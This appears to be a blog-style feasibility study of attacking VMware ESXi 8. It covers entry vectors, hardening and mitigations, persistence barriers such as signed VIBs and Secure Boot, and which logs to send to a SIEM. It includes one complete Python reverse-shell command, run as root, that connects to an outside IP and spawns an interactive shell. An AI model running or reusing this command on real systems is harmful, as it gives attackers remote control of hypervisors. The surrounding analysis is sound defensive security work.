Feasibility study of hacking VMware ESXi 8

Maybe you can get there but your malware won’t persist after reboot…

In our theoretical analysis of hacking into VMware ESXi 8 we focus on 2 options: an opportunistic hack with immediate action like deleting VMs or long term presence after achieving persistence.

How can we get there? There are few options:

1. bug in DCUI when authorization is not enforced
2. bug or backdoor in SSH allowing to bypass authorization
3. remote code execution in any of running services exposed to the network, including protocol vulnerability
4. internal protocol error across VM sandbox and host OS allowing to escape from VM and run code on the hypervisor (this migh be a bug in implementation of virtual hardware like USB).

What are possible mitigations? Fine grained firewall rules, covering WebUI with ADFS Web Application Proxy enforcing MFA and ESXi network services with API gateway, disabling not needed devices (USB, IDE, SATA), installing EDR inside VM to detect malicious code and activities. Last but no least — passing whole syslog to SIEM (Syslog.global.logHost — Comma (,) separated list of remote hosts to transmit messages to. Format is: proto://hostname|ipv4|’[‘ipv6’]’[:port][?formatter=value[&framing=value]]. Protocol must be one of (tcp|udp|ssl). If a port is not provided, ssl and tcp will use 1514; udp will use 514. Formatter must be one of (RFC_3164|RFC_5424). Framing must be one of (octet_counting|non_transparent). The default formatter is RFC 3164; the default framing is non_transparent.)

For exploiting from inside of VM there is a setting that can help: VMkernel.Boot.heapMetadataProtect — use poisoned red zones to protect against under/overruns.

Can we achive long term presence there? Hardly. In the bootloader configuration file we can specify modules to be loaded. Modules are signed and signature is verified. From these modules (VIBs) a filesystem is created — the contribute to the content visible in read-only visorfs. This is in memory filesystem. New files can be created, but exisiting from VIBs can’t be overwritten (there is also a setting VMkernel.Boot.execInstalledOnly — Execute only those files that have been installed via a vib package and have not been modified). When Secure Boot enabled there is less places to inject malware — some inits are not executed. Programs run in security domains — the concept is similar to SE Linux.

Even if you can enter ESXi after reboot your malware will likely be gone.

Crontab is read-only

Visorfs is read-only (I wanted to add malicious payload to vmware-autostart.sh)

Every single syscall on files executed from SSHFS is logged by syslog

autostart would be and ideal place to hide, but it’s not writeable

Whatever is executed in shell — it’s logged

VIBs given as boot modules must be signed. Please use Secure Boot.

Signatures of VIBs are verified.

VIBs aka tardisks

VM devices shouldn’t interact with untrusted files

Each security domain has got own grants related to system calls, files and directories. Core programs run in security domains.

hostd can interact with limited set of files

There are API execution limits for hostd

By default there is firewall

When Secure Boot is enabled number of executed scripts is limited

In /etc/passwd by default there are 3 users

rc.local is not executed when Secure Boot is on

autodeploy (from URL) may be a potentially weak point

sshd PAM configuration

Remote management of ESXi is performed by vCenter

Active Directory integration via likewise OSS, not touched for a long time.

There is init script for SSH

You can use AD authentication but smart cards are not so common

Can we use Python for malicious purposes? Yes…

[root@esxi:~] python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STRE
AM);s.connect((“192.168.50.232”,9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(
),2);subprocess.call([“/bin/sh”,”-i”])’

What kind of logs should be replicated to SIEM?

/var/log/auth.log -> opened sessions, unexpected IPs, failed authentication
configstore-boot.log -> physical attack, configstore restored from unexpected location
dhclient.log -> DHCP spoofing attack
esxcli.log -> to capture potential reconfiguration attacks
esxtokend.log -> monitor generated SAML tokens
esxupdate.log -> watch for unexpected audits
hostd.log -> unexpected volumes accessed, libraries loaded, errors
init.log -> to verify boot init process
jumpstart* -> to see config store manipulations, plugins loaded, services started
kmx*.log -> trust services
shell.log -> all commands executed in sh
sysboot.log -> to detect potentially injected malicious services
syslog.log -> to view cron execution, backup
vmksummary.log -> to see power off and reboot
vobd.log -> audit events visible